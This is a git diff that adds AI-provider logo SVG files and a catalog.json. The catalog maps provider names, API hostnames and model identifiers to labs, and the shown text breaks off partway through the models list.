+1,14 @@ + + + + + + + + + + + + + + diff --git a/assets/model_logos/abliteration-ai.svg b/assets/model_logos/abliteration-ai.svg new file mode 100644 index 000000000..b1b942e96 --- /dev/null +++ b/assets/model_logos/abliteration-ai.svg @@ -0,0 +1,6 @@ + + + Abliteration + .ai + + diff --git a/assets/model_logos/above.svg b/assets/model_logos/above.svg new file mode 100644 index 000000000..00d80ac63 --- /dev/null +++ b/assets/model_logos/above.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/agentrouter.svg b/assets/model_logos/agentrouter.svg new file mode 100644 index 000000000..ce67579de --- /dev/null +++ b/assets/model_logos/agentrouter.svg @@ -0,0 +1,4 @@ + + AgentRouter + + diff --git a/assets/model_logos/agnes.svg b/assets/model_logos/agnes.svg new file mode 100644 index 000000000..b7dc4eca4 --- /dev/null +++ b/assets/model_logos/agnes.svg @@ -0,0 +1 @@ + diff --git a/assets/model_logos/ai-router.svg b/assets/model_logos/ai-router.svg new file mode 100644 index 000000000..896a8a2ae --- /dev/null +++ b/assets/model_logos/ai-router.svg @@ -0,0 +1,5 @@ + + + + + diff --git a/assets/model_logos/ai21.svg b/assets/model_logos/ai21.svg new file mode 100644 index 000000000..b929375b0 --- /dev/null +++ b/assets/model_logos/ai21.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/aiand.svg b/assets/model_logos/aiand.svg new file mode 100644 index 000000000..e36f046a2 --- /dev/null +++ b/assets/model_logos/aiand.svg @@ -0,0 +1,4 @@ + + + + diff --git a/assets/model_logos/aihubmix.svg b/assets/model_logos/aihubmix.svg new file mode 100644 index 000000000..33164b78b --- /dev/null +++ b/assets/model_logos/aihubmix.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/ainetcafe.svg b/assets/model_logos/ainetcafe.svg new file mode 100644 index 000000000..06147492c --- /dev/null +++ b/assets/model_logos/ainetcafe.svg @@ -0,0 +1 @@ + diff --git a/assets/model_logos/aixy.svg b/assets/model_logos/aixy.svg new file mode 100644 index 000000000..9754a1402 --- /dev/null +++ b/assets/model_logos/aixy.svg @@ -0,0 +1,4 @@ + + + + diff --git a/assets/model_logos/aki-io.svg b/assets/model_logos/aki-io.svg new file mode 100644 index 000000000..68fc8ded4 --- /dev/null +++ b/assets/model_logos/aki-io.svg @@ -0,0 +1,8 @@ + + + + + + + + diff --git a/assets/model_logos/alibaba-cn.svg b/assets/model_logos/alibaba-cn.svg new file mode 100644 index 000000000..5d8355c18 --- /dev/null +++ b/assets/model_logos/alibaba-cn.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/alibaba-coding-plan-cn.svg b/assets/model_logos/alibaba-coding-plan-cn.svg new file mode 100644 index 000000000..b3a2edc3c --- /dev/null +++ b/assets/model_logos/alibaba-coding-plan-cn.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/alibaba-coding-plan.svg b/assets/model_logos/alibaba-coding-plan.svg new file mode 100644 index 000000000..b3a2edc3c --- /dev/null +++ b/assets/model_logos/alibaba-coding-plan.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/alibaba-token-plan.svg b/assets/model_logos/alibaba-token-plan.svg new file mode 100644 index 000000000..b3a2edc3c --- /dev/null +++ b/assets/model_logos/alibaba-token-plan.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/alibaba.svg b/assets/model_logos/alibaba.svg new file mode 100644 index 000000000..b3a2edc3c --- /dev/null +++ b/assets/model_logos/alibaba.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/amazon-bedrock.svg b/assets/model_logos/amazon-bedrock.svg new file mode 100644 index 000000000..1f185ef53 --- /dev/null +++ b/assets/model_logos/amazon-bedrock.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/ambient.svg b/assets/model_logos/ambient.svg new file mode 100644 index 000000000..a66fd21eb --- /dev/null +++ b/assets/model_logos/ambient.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/amd.svg b/assets/model_logos/amd.svg new file mode 100644 index 000000000..c095ecf61 --- /dev/null +++ b/assets/model_logos/amd.svg @@ -0,0 +1,3 @@ + + + \ No newline at end of file diff --git a/assets/model_logos/anthropic.svg b/assets/model_logos/anthropic.svg new file mode 100644 index 000000000..aaa01fcdb --- /dev/null +++ b/assets/model_logos/anthropic.svg @@ -0,0 +1,3 @@ + + + \ No newline at end of file diff --git a/assets/model_logos/anyapi.svg b/assets/model_logos/anyapi.svg new file mode 100644 index 000000000..c2e557377 --- /dev/null +++ b/assets/model_logos/anyapi.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/arcee.svg b/assets/model_logos/arcee.svg new file mode 100644 index 000000000..7579ad964 --- /dev/null +++ b/assets/model_logos/arcee.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/atomic-chat.svg b/assets/model_logos/atomic-chat.svg new file mode 100644 index 000000000..09f93dcbc --- /dev/null +++ b/assets/model_logos/atomic-chat.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/assets/model_logos/auriko.svg b/assets/model_logos/auriko.svg new file mode 100644 index 000000000..6431a13e4 --- /dev/null +++ b/assets/model_logos/auriko.svg @@ -0,0 +1,6 @@ + + + + + + diff --git a/assets/model_logos/azure-cognitive-services.svg b/assets/model_logos/azure-cognitive-services.svg new file mode 100644 index 000000000..07c6519ba --- /dev/null +++ b/assets/model_logos/azure-cognitive-services.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/azure.svg b/assets/model_logos/azure.svg new file mode 100644 index 000000000..07c6519ba --- /dev/null +++ b/assets/model_logos/azure.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/bailing.svg b/assets/model_logos/bailing.svg new file mode 100644 index 000000000..b8ed486a8 --- /dev/null +++ b/assets/model_logos/bailing.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/baseten.svg b/assets/model_logos/baseten.svg new file mode 100644 index 000000000..ffd4fbd8b --- /dev/null +++ b/assets/model_logos/baseten.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/bee.svg b/assets/model_logos/bee.svg new file mode 100644 index 000000000..c56bf8742 --- /dev/null +++ b/assets/model_logos/bee.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/assets/model_logos/berget.svg b/assets/model_logos/berget.svg new file mode 100644 index 000000000..831547a59 --- /dev/null +++ b/assets/model_logos/berget.svg @@ -0,0 +1,3 @@ + + + \ No newline at end of file diff --git a/assets/model_logos/blueclaw.svg b/assets/model_logos/blueclaw.svg new file mode 100644 index 000000000..03bef156a --- /dev/null +++ b/assets/model_logos/blueclaw.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/bothub.svg b/assets/model_logos/bothub.svg new file mode 100644 index 000000000..01c3f46c1 --- /dev/null +++ b/assets/model_logos/bothub.svg @@ -0,0 +1,33 @@ + + + + + + \ No newline at end of file diff --git a/assets/model_logos/catalog.json b/assets/model_logos/catalog.json new file mode 100644 index 000000000..b553ac7d1 --- /dev/null +++ b/assets/model_logos/catalog.json @@ -0,0 +1,1035 @@ +{ + "source": "https://models.dev", + "logos": { + "302ai": "302.AI", + "abacus": "Abacus", + "abliteration-ai": "abliteration.ai", + "above": "above.dev", + "agentrouter": "AgentRouter", + "agnes": "Agnes AI", + "ai-router": "AI-ROUTER", + "ai21": "AI21 Labs", + "aiand": "ai&", + "aihubmix": "AIHubMix", + "ainetcafe": "ainetcafe", + "aixy": "Aixy", + "aki-io": "AKI.IO", + "alibaba": "Alibaba", + "alibaba-cn": "Alibaba (China)", + "alibaba-coding-plan": "Alibaba Coding Plan", + "alibaba-coding-plan-cn": "Alibaba Coding Plan (China)", + "alibaba-token-plan": "Alibaba Token Plan", + "amazon-bedrock": "Amazon Bedrock", + "ambient": "Ambient", + "amd": "AMD", + "anthropic": "Anthropic", + "anyapi": "AnyAPI", + "arcee": "Arcee", + "atomic-chat": "Atomic Chat", + "auriko": "Auriko", + "azure": "Azure", + "azure-cognitive-services": "Azure Cognitive Services", + "bailing": "Bailing", + "baseten": "Baseten", + "bee": "Bee by HEOSSI", + "berget": "Berget.AI", + "blueclaw": "Blue Claw", + "bothub": "Bothub", + "cerebras": "Cerebras", + "clarifai": "Clarifai", + "claudinio": "Claudinio", + "cloudferro-sherlock": "CloudFerro Sherlock", + "cloudflare-ai-gateway": "Cloudflare AI Gateway", + "cloudflare-workers-ai": "Cloudflare Workers AI", + "cohere": "Cohere", + "coralbricks": "CoralBricks", + "crossmodel": "CrossModel", + "crusoe": "Crusoe", + "daoxe": "DaoXE", + "databricks": "Databricks", + "deepinfra": "Deep Infra", + "deepseek": "DeepSeek", + "digitalocean": "DigitalOcean", + "dinference": "DInference", + "drun": "D.Run (China)", + "ebcloud": "EBCloud", + "echo": "Echo", + "edenai": "Eden AI", + "empiriolabs": "EmpirioLabs AI", + "evroc": "evroc", + "fastrouter": "FastRouter", + "fireworks-ai": "Fireworks AI", + "freemodel": "FreeModel", + "friendli": "Friendli", + "frogbot": "FrogBot", + "github-copilot": "GitHub Copilot", + "gitlab": "GitLab Duo", + "google": "Google", + "google-vertex": "Vertex", + "google-vertex-anthropic": "Vertex (Anthropic)", + "greenpt": "GreenPT", + "groq": "Groq", + "helicone": "Helicone", + "hetzner": "Hetzner", + "hpc-ai": "HPC-AI", + "huggingface": "Hugging Face", + "hyper": "Charm Hyper", + "iflowcn": "iFlow", + "impossibl": "Impossibl", + "inception": "Inception", + "inceptron": "Inceptron", + "inco": "Inco", + "infer": "Infer by Flow7", + "inference": "Inference", + "inferx": "InferX", + "infomaniak": "Infomaniak", + "io-net": "IO.NET", + "iteracompute": "IteraCompute", + "jalapeno": "Jalapeno Cloud", + "jiekou": "Jiekou.AI", + "kenari": "Kenari", + "kilo": "Kilo Gateway", + "kimi-code-plan-cn": "Kimi For Coding (kimi.com)", + "kimi-code-plan-global": "Kimi For Coding (kimi.ai)", + "klokintegration": "klokintegration.se", + "kosmik": "Kosmik Compute", + "kuae-cloud-coding-plan": "KUAE Cloud Coding Plan", + "lilac": "Lilac", + "llama": "Llama", + "llmgateway": "DevPass (LLM Gateway)", + "llmgateway-providers": "LLM Gateway", + "llmtech": "LLM Tech", + "llmtr": "LLMTR", + "lmstudio": "LMStudio", + "longcat": "LongCat", + "lucidquery": "LucidQuery", + "lynkr": "Lynkr", + "meganova": "Meganova", + "melious": "Melious", + "merge-gateway": "Merge Gateway", + "meta": "Meta", + "minimax": "MiniMax (minimax.io)", + "minimax-cn": "MiniMax (minimax.cn)", + "minimax-cn-coding-plan": "MiniMax Token Plan (minimax.cn)", + "minimax-coding-plan": "MiniMax Token Plan (minimax.io)", + "mistral": "Mistral", + "mixlayer": "Mixlayer", + "moark": "Moark", + "modal": "Modal", + "model-oracle-ai": "Model Oracle AI", + "modelis": "Modelis", + "modelscope": "ModelScope", + "moonshotai": "Moonshot AI", + "moonshotai-cn": "Moonshot AI (China)", + "nan": "NaN", + "nano-gpt": "NanoGPT", + "nearai": "NEAR AI Cloud", + "nebius": "Nebius Token Factory", + "neon": "Neon", + "neosmith": "NeoSmith", + "neuralwatt": "Neuralwatt", + "nova": "Nova", + "novita-ai": "NovitaAI", + "nvidia": "Nvidia", + "oci": "OCI Generative AI", + "ofox": "Ofox", + "ollama-cloud": "Ollama Cloud", + "openai": "OpenAI", + "opencode": "OpenCode Zen", + "opencode-go": "OpenCode Go", + "openreason": "OpenReason", + "openrouter": "OpenRouter", + "opper": "Opper", + "orcarouter": "OrcaRouter", + "ovhcloud": "OVHcloud AI Endpoints", + "pareto": "Pareto Inference", + "pendra": "Pendra", + "perplexity": "Perplexity", + "perplexity-agent": "Perplexity Agent", + "pioneer": "Pioneer", + "poe": "Poe", + "poolside": "Poolside", + "privatemode-ai": "Privatemode AI", + "qihang-ai": "QiHang", + "qiniu-ai": "Qiniu", + "qvac": "QVAC", + "regolo-ai": "Regolo AI", + "routing-run": "routing.run", + "runinfra": "RunInfra", + "salad-cloud": "SaladCloud AI Gateway", + "scaleway": "Scaleway", + "scnet-token-plan": "SCNet Token Plan", + "scx-ai": "SCX.ai", + "sensenova": "SenseNova (China)", + "siliconflow": "SiliconFlow", + "siliconflow-cn": "SiliconFlow (China)", + "snowflake-cortex": "Snowflake Cortex", + "stackit": "STACKIT", + "standardcompute": "Standard Compute", + "stepfun": "StepFun (China)", + "stepfun-ai": "StepFun (Global)", + "stepfun-ai-step-plan": "StepFun Step Plan (Global)", + "stepfun-step-plan": "StepFun Step Plan (China)", + "subconscious": "Subconscious", + "submodel": "submodel", + "tempr": "Tempr", + "tencent-coding-plan": "Tencent Coding Plan (China)", + "tencent-token-plan": "Tencent Token Plan", + "tencent-tokenhub": "Tencent TokenHub", + "tensorx": "TensorX", + "the-grid-ai": "The Grid AI", + "thinkingmachines": "Thinking Machines", + "tinfoil": "Tinfoil", + "togetherai": "Together AI", + "tokengo": "TokenGo", + "tokenrouter": "TokenRouter", + "trustedrouter": "TrustedRouter", + "umans-ai": "Umans AI", + "umans-ai-coding-plan": "Umans AI Coding Plan", + "unorouter": "UnoRouter", + "v0": "v0", + "vancine": "Vancine", + "venice": "Venice AI", + "vercel": "Vercel AI Gateway", + "vispark": "Vispark", + "vivgrid": "Vivgrid", + "volcengine": "Volcengine Ark", + "volcengine-coding-plan": "Volcengine Ark Coding Plan", + "vultr": "Vultr", + "wafer.ai": "Wafer", + "wallaby": "Wallaby", + "wandb": "CoreWeave", + "watsonx": "watsonx.ai", + "xai": "xAI", + "xiaomi": "Xiaomi", + "xiaomi-token-plan-ams": "Xiaomi Token Plan (Europe)", + "xiaomi-token-plan-cn": "Xiaomi Token Plan (China)", + "xiaomi-token-plan-sgp": "Xiaomi Token Plan (Singapore)", + "xpersona": "Xpersona", + "zai": "Z.AI", + "zai-coding-plan": "Z.AI Coding Plan", + "zeldoc": "Zeldoc", + "zenifra": "Zenifra", + "zenmux": "ZenMux", + "zhipuai": "Zhipu AI", + "zhipuai-coding-plan": "Zhipu AI Coding Plan" + }, + "labAliases": { + "x-ai": "xai", + "z-ai": "zhipuai", + "thudm": "zhipuai", + "qwen": "alibaba", + "mistralai": "mistral", + "meta-llama": "meta", + "deepseek-ai": "deepseek", + "moonshot": "moonshotai", + "google-deepmind": "google", + "nvidia-nim": "nvidia", + "cohereforai": "cohere", + "minimaxai": "minimax", + "xiaomimimo": "xiaomi", + "stepfun-ai": "stepfun" + }, + "families": [ + [ + "text-embedding", + "openai" + ], + [ + "codellama", + "meta" + ], + [ + "codestral", + "mistral" + ], + [ + "ministral", + "mistral" + ], + [ + "magistral", + "mistral" + ], + [ + "devstral", + "mistral" + ], + [ + "nemotron", + "nvidia" + ], + [ + "deepseek", + "deepseek" + ], + [ + "mixtral", + "mistral" + ], + [ + "chatgpt", + "openai" + ], + [ + "chatglm", + "zhipuai" + ], + [ + "mercury", + "inception" + ], + [ + "mistral", + "mistral" + ], + [ + "command", + "cohere" + ], + [ + "pixtral", + "mistral" + ], + [ + "whisper", + "openai" + ], + [ + "minimax", + "minimax" + ], + [ + "claude", + "anthropic" + ], + [ + "gemini", + "google" + ], + [ + "dall-e", + "openai" + ], + [ + "jamba", + "ai21" + ], + [ + "llama", + "meta" + ], + [ + "sonar", + "perplexity" + ], + [ + "gemma", + "google" + ], + [ + "qwen", + "alibaba" + ], + [ + "kimi", + "moonshotai" + ], + [ + "grok", + "xai" + ], + [ + "c4ai", + "cohere" + ], + [ + "gpt4", + "openai" + ], + [ + "mimo", + "xiaomi" + ], + [ + "gpt-", + "openai" + ], + [ + "glm", + "zhipuai" + ], + [ + "o4-", + "openai" + ], + [ + "qwq", + "alibaba" + ], + [ + "o3", + "openai" + ], + [ + "o1", + "openai" + ] + ], + "hosts": { + "agentrouter.org": "agentrouter", + "ai-gateway.helicone.ai": "helicone", + "ai-gateway.vercel.sh": "vercel", + "ai.zenifra.com": "zenifra", + "aki.io": "aki-io", + "api-gateway.merge.dev": "merge-gateway", + "api-gw.klok.ipaas.se": "klokintegration", + "api-inference.modelscope.cn": "modelscope", + "api-sherlock.cloudferro.com": "cloudferro-sherlock", + "api.302.ai": "302ai", + "api.abliteration.ai": "abliteration-ai", + "api.above.dev": "above", + "api.ai-router.dev": "ai-router", + "api.ai21.com": "ai21", + "api.aiand.com": "aiand", + "api.aixy-gateway.com": "aixy", + "api.ambient.xyz": "ambient", + "api.anthropic.com": "anthropic", + "api.anyapi.ai": "anyapi", + "api.arcee.ai": "arcee", + "api.auriko.ai": "auriko", + "api.bee.heossi.com": "bee", + "api.berget.ai": "berget", + "api.cerebras.ai": "cerebras", + "api.clarifai.com": "clarifai", + "api.claudin.io": "claudinio", + "api.code.umans.ai": "umans-ai-coding-plan", + "api.cohere.ai": "cohere", + "api.cohere.com": "cohere", + "api.crossmodel.ai": "crossmodel", + "api.deepinfra.com": "deepinfra", + "api.deepseek.com": "deepseek", + "api.dinference.com": "dinference", + "api.edenai.run": "edenai", + "api.empiriolabs.ai": "empiriolabs", + "api.fastino.ai": "pioneer", + "api.fireworks.ai": "fireworks-ai", + "api.friendli.ai": "friendli", + "api.getlilac.com": "lilac", + "api.githubcopilot.com": "github-copilot", + "api.greenpt.ai": "greenpt", + "api.groq.com": "groq", + "api.hpc-ai.com": "hpc-ai", + "api.impossibl.com": "impossibl", + "api.inceptionlabs.ai": "inception", + "api.inceptron.io": "inceptron", + "api.inco.ai": "inco", + "api.inference.crusoecloud.com": "crusoe", + "api.inference.wandb.ai": "wandb", + "api.intelligence.io.solutions": "io-net", + "api.iteracompute.com": "iteracompute", + "api.jalapeno-cloud.ai": "jalapeno", + "api.jiekou.ai": "jiekou", + "api.kilo.ai": "kilo", + "api.kimi.ai": "kimi-code-plan-global", + "api.kimi.com": "kimi-code-plan-cn", + "api.koscompute.com": "kosmik", + "api.lab.vispark.in": "vispark", + "api.lkeap.cloud.tencent.com": "tencent-coding-plan", + "api.llama.com": "llama", + "api.llmgateway.io": "llmgateway-providers", + "api.llmtech.eu": "llmtech", + "api.longcat.chat": "longcat", + "api.lucidquery.com": "lucidquery", + "api.meganova.ai": "meganova", + "api.melious.ai": "melious", + "api.meta.ai": "meta", + "api.minimax.cn": "minimax-cn-coding-plan", + "api.minimax.io": "minimax-coding-plan", + "api.mistral.ai": "mistral", + "api.modeloracle.com": "model-oracle-ai", + "api.moonshot.ai": "moonshotai", + "api.moonshot.cn": "moonshotai-cn", + "api.nan.builders": "nan", + "api.neuralwatt.com": "neuralwatt", + "api.nova.amazon.com": "nova", + "api.novita.ai": "novita-ai", + "api.ofox.ai": "ofox", + "api.openai-compat.model-serving.eu01.onstackit.cloud": "stackit", + "api.openai.com": "openai", + "api.openreason.app": "openreason", + "api.opper.ai": "opper", + "api.orcarouter.ai": "orcarouter", + "api.paretoinference.com": "pareto", + "api.pendra.ai": "pendra", + "api.perplexity.ai": "perplexity", + "api.poe.com": "poe", + "api.qhaigc.net": "qihang-ai", + "api.qnaigc.com": "qiniu-ai", + "api.regolo.ai": "regolo-ai", + "api.routing.run": "routing-run", + "api.runinfra.ai": "runinfra", + "api.scaleway.ai": "scaleway", + "api.scnet.cn": "scnet-token-plan", + "api.scx.ai": "scx-ai", + "api.siliconflow.cn": "siliconflow-cn", + "api.siliconflow.com": "siliconflow", + "api.stdcmpt.com": "standardcompute", + "api.stepfun.ai": "stepfun-ai-step-plan", + "api.stepfun.com": "stepfun-step-plan", + "api.subconscious.dev": "subconscious", + "api.tbox.cn": "bailing", + "api.temprhq.io": "tempr", + "api.tensorx.ai": "tensorx", + "api.thegrid.ai": "the-grid-ai", + "api.together.xyz": "togetherai", + "api.tokenfactory.nebius.com": "nebius", + "api.tokengo.com": "tokengo", + "api.tokenrouter.com": "tokenrouter", + "api.trustedrouter.com": "trustedrouter", + "api.unorouter.com": "unorouter", + "api.vivgrid.com": "vivgrid", + "api.vultrinference.com": "vultr", + "api.wallabytoken.com": "wallaby", + "api.x.ai": "xai", + "api.xiaomimimo.com": "xiaomi", + "api.z.ai": "zai", + "api.zeldoc.ai": "zeldoc", + "apihub.agnes-ai.com": "agnes", + "apis.iflow.cn": "iflowcn", + "app.frogbot.ai": "frogbot", + "ark.cn-beijing.volces.com": "volcengine", + "cc.freemodel.dev": "freemodel", + "chat.d.run": "drun", + "cloud-api.near.ai": "nearai", + "coding-intl.dashscope.aliyuncs.com": "alibaba-coding-plan", + "coding-plan-endpoint.kuaecloud.net": "kuae-cloud-coding-plan", + "coding.dashscope.aliyuncs.com": "alibaba-coding-plan-cn", + "daoxe.com": "daoxe", + "dashscope-intl.aliyuncs.com": "alibaba", + "dashscope.aliyuncs.com": "alibaba-cn", + "developer.amd.com.cn": "amd", + "echo.tracerml.ai": "echo", + "generativelanguage.googleapis.com": "google", + "go.fastrouter.ai": "fastrouter", + "hyper.charm.land": "hyper", + "infer.flow7.org": "infer", + "inference.baseten.co": "baseten", + "inference.coralbricks.ai": "coralbricks", + "inference.do-ai.run": "digitalocean", + "inference.generativeai.us-chicago-1.oci.oraclecloud.com": "oci", + "inference.hetzner.com": "hetzner", + "inference.net": "inference", + "inference.poolside.ai": "poolside", + "inference.tinfoil.sh": "tinfoil", + "inference.us-west.modal.direct": "modal", + "integrate.api.nvidia.com": "nvidia", + "kenari.id": "kenari", + "llm.submodel.ai": "submodel", + "llmtr.com": "llmtr", + "maas-api.ebcloud.com": "ebcloud", + "microquickjs.com": "ainetcafe", + "moark.com": "moark", + "model.inferx.net": "inferx", + "modelishub.com": "modelis", + "models.mixlayer.ai": "mixlayer", + "models.think.evroc.com": "evroc", + "nano-gpt.com": "nano-gpt", + "oai.endpoints.kepler.ai.cloud.ovh.net": "ovhcloud", + "ollama.com": "ollama-cloud", + "open.bigmodel.cn": "zhipuai-coding-plan", + "openai.blueclaw.network": "blueclaw", + "openai.bothub.ru": "bothub", + "opencode.ai": "opencode-go", + "openrouter.ai": "openrouter", + "pass.wafer.ai": "wafer.ai", + "routellm.abacus.ai": "abacus", + "router.huggingface.co": "huggingface", + "router.neosmith.ai": "neosmith", + "tinker.thinkingmachines.dev": "thinkingmachines", + "token-plan-ams.xiaomimimo.com": "xiaomi-token-plan-ams", + "token-plan-cn.xiaomimimo.com": "xiaomi-token-plan-cn", + "token-plan-sgp.xiaomimimo.com": "xiaomi-token-plan-sgp", + "token-plan.ap-southeast-1.maas.aliyuncs.com": "alibaba-token-plan", + "token.sensenova.cn": "sensenova", + "tokenhub.tencentmaas.com": "tencent-tokenhub", + "vancine.com": "vancine", + "www.xpersona.co": "xpersona", + "zenmux.ai": "zenmux" + }, + "models": { + "active-speaker-detection": "nvidia", + "bevformer": "nvidia", + "bge-m3": "nvidia", + "c4ai-aya-expanse-32b": "cohere", + "c4ai-aya-expanse-8b": "cohere", + "c4ai-aya-vision-32b": "cohere", + "c4ai-aya-vision-8b": "cohere", + "chatgpt-image-latest": "openai", + "claude-3-5-sonnet-20241022": "anthropic", + "claude-3-7-sonnet-20250219": "anthropic", + "claude-3-haiku-20240307": "anthropic", + "claude-fable-5": "anthropic", + "claude-fable-5-1": "anthropic", + "claude-haiku-4-5": "anthropic", + "claude-haiku-4-5-20251001": "anthropic", + "claude-mythos-5": "anthropic", + "claude-opus-4-1": "anthropic", + "claude-opus-4-1-20250805": "anthropic", + "claude-opus-4-20250514": "anthropic", + "claude-opus-4-5": "anthropic", + "claude-opus-4-5-20251101": "anthropic", + "claude-opus-4-6": "anthropic", + "claude-opus-4-7": "anthropic", + "claude-opus-4-8": "anthropic", + "claude-opus-5": "anthropic", + "claude-opus-5-5": "anthropic", + "claude-sonnet-4-0": "anthropic", + "claude-sonnet-4-20250514": "anthropic", + "claude-sonnet-4-5": "anthropic", + "claude-sonnet-4-5-20250929": "anthropic", + "claude-sonnet-4-6": "anthropic", + "claude-sonnet-5": "anthropic", + "claude-sonnet-5-5": "anthropic", + "codestral-22b-v0.1": "mistral", + "codestral-latest": "mistral", + "command-a-03-2025": "cohere", + "command-a-plus-05-2026": "cohere", + "command-a-reasoning-08-2025": "cohere", + "command-a-translate-08-2025": "cohere", + "command-a-vision-07-2025": "cohere", + "command-r-08-2024": "cohere", + "command-r-plus-08-2024": "cohere", + "command-r7b-12-2024": "cohere", + "command-r7b-arabic-02-2025": "cohere", + "cosmos-predict1-5b": "nvidia", + "cosmos-reason2-8b": "nvidia", + "cosmos-transfer1-7b": "nvidia", + "cosmos-transfer2_5-2b": "nvidia", + "deep-research-max-preview-04-2026": "google", + "deep-research-preview-04-2026": "google", + "deepseek-chat": "deepseek", + "deepseek-flash": "deepseek", + "deepseek-ocr-2": "deepseek", + "deepseek-r1": "deepseek", + "deepseek-reasoner": "deepseek", + "deepseek-v3": "deepseek", + "deepseek-v3-0324": "deepseek", + "deepseek-v3.1": "deepseek", + "deepseek-v3.2": "deepseek", + "deepseek-v4-flash": "deepseek", + "deepseek-v4-flash-0423": "deepseek", + "deepseek-v4-flash-0731": "deepseek", + "deepseek-v4-flash-vision-exp": "deepseek", + "deepseek-v4-pro": "deepseek", + "deepseek-v4-pro-0423": "deepseek", + "deepseek-v4-pro-0813": "deepseek", + "deepseek-v4.1-flash": "deepseek", + "devstral-2512": "mistral", + "devstral-latest": "mistral", + "devstral-medium-2507": "mistral", + "devstral-medium-latest": "mistral", + "devstral-small-2": "mistral", + "devstral-small-2505": "mistral", + "devstral-small-2507": "mistral", + "dracarys-llama-3.1-70b-instruct": "nvidia", + "esm2-650m": "nvidia", + "esmfold": "nvidia", + "flux.1-dev": "nvidia", + "flux_1-kontext-dev": "nvidia", + "flux_1-schnell": "nvidia", + "flux_2-klein-4b": "nvidia", + "gemini-2.5-computer-use-preview-10-2025": "google", + "gemini-2.5-flash": "google", + "gemini-2.5-flash-image": "google", + "gemini-2.5-flash-lite": "google", + "gemini-2.5-flash-preview-tts": "google", + "gemini-2.5-flash-tts": "google", + "gemini-2.5-pro": "google", + "gemini-2.5-pro-preview-tts": "google", + "gemini-2.5-pro-tts": "google", + "gemini-3-flash-preview": "google", + "gemini-3-pro-image": "google", + "gemini-3-pro-image-preview": "google", + "gemini-3-pro-preview": "google", + "gemini-3.1-flash-image": "google", + "gemini-3.1-flash-image-preview": "google", + "gemini-3.1-flash-lite": "google", + "gemini-3.1-flash-lite-image": "google", + "gemini-3.1-flash-lite-preview": "google", + "gemini-3.1-flash-live-preview": "google", + "gemini-3.1-flash-tts-preview": "google", + "gemini-3.1-pro-preview": "google", + "gemini-3.1-pro-preview-customtools": "google", + "gemini-3.5-flash": "google", + "gemini-3.5-flash-lite": "google", + "gemini-3.5-live-translate-preview": "google", + "gemini-3.5-transcribe-live": "google", + "gemini-3.6-flash": "google", + "gemini-3.7-flash": "google", + "gemini-3.8-flash": "google", + "gemini-embedding-001": "google", + "gemini-embedding-2": "google", + "gemini-flash-latest": "google", + "gemini-flash-lite-latest": "google", + "gemini-omni-flash-preview": "google", + "gemini-robotics-er-1.6-preview": "google", + "gemma-2-2b-it": "nvidia", + "gemma-3-12b-it": "google", + "gemma-3-27b-it": "google", + "gemma-3-4b-it": "google", + "gemma-3n-e2b-it": "nvidia", + "gemma-3n-e4b-it": "nvidia", + "gemma-4-12b-it": "google", + "gemma-4-26b-a4b-it": "google", + "gemma-4-31b-it": "google", + "gemma-4-e2b-it": "google", + "gemma-4-e4b-it": "google", + "gliner-pii": "nvidia", + "glm-4.5": "zhipuai", + "glm-4.5-air": "zhipuai", + "glm-4.5-flash": "zhipuai", + "glm-4.5v": "zhipuai", + "glm-4.6": "zhipuai", + "glm-4.6v": "zhipuai", + "glm-4.6v-flash": "zhipuai", + "glm-4.7": "zhipuai", + "glm-4.7-flash": "zhipuai", + "glm-4.7-flashx": "zhipuai", + "glm-5": "zhipuai", + "glm-5-turbo": "zhipuai", + "glm-5.1": "zhipuai", + "glm-5.2": "zhipuai", + "glm-5.3": "zhipuai", + "glm-5.3-flash": "zhipuai", + "glm-5.3-flashx": "zhipuai", + "glm-5v-turbo": "zhipuai", + "glm-image": "zhipuai", + "google-paligemma": "nvidia", + "gpt-3.5-turbo": "openai", + "gpt-4": "openai", + "gpt-4-turbo": "openai", + "gpt-4.1": "openai", + "gpt-4.1-mini": "openai", + "gpt-4.1-nano": "openai", + "gpt-4o": "openai", + "gpt-4o-2024-05-13": "openai", + "gpt-4o-2024-08-06": "openai", + "gpt-4o-2024-11-20": "openai", + "gpt-4o-mini": "openai", + "gpt-5": "openai", + "gpt-5-chat-latest": "openai", + "gpt-5-codex": "openai", + "gpt-5-mini": "openai", + "gpt-5-nano": "openai", + "gpt-5-pro": "openai", + "gpt-5.1": "openai", + "gpt-5.1-chat-latest": "openai", + "gpt-5.1-codex": "openai", + "gpt-5.1-codex-max": "openai", + "gpt-5.1-codex-mini": "openai", + "gpt-5.2": "openai", + "gpt-5.2-chat-latest": "openai", + "gpt-5.2-codex": "openai", + "gpt-5.2-pro": "openai", + "gpt-5.3-chat-latest": "openai", + "gpt-5.3-codex": "openai", + "gpt-5.3-codex-spark": "openai", + "gpt-5.4": "openai", + "gpt-5.4-mini": "openai", + "gpt-5.4-nano": "openai", + "gpt-5.4-pro": "openai", + "gpt-5.5": "openai", + "gpt-5.5-instant": "openai", + "gpt-5.5-pro": "openai", + "gpt-5.6": "openai", + "gpt-5.6-cyber": "openai", + "gpt-5.6-luna": "openai", + "gpt-5.6-sol": "openai", + "gpt-5.6-terra": "openai", + "gpt-6-astra": "openai", + "gpt-6-astra-fast": "openai", + "gpt-6-luna": "openai", + "gpt-6-sol": "openai", + "gpt-daybreak-blue-latest": "openai", + "gpt-daybreak-red-latest": "openai", + "gpt-image-1": "openai", + "gpt-image-1-mini": "openai", + "gpt-image-1.5": "openai", + 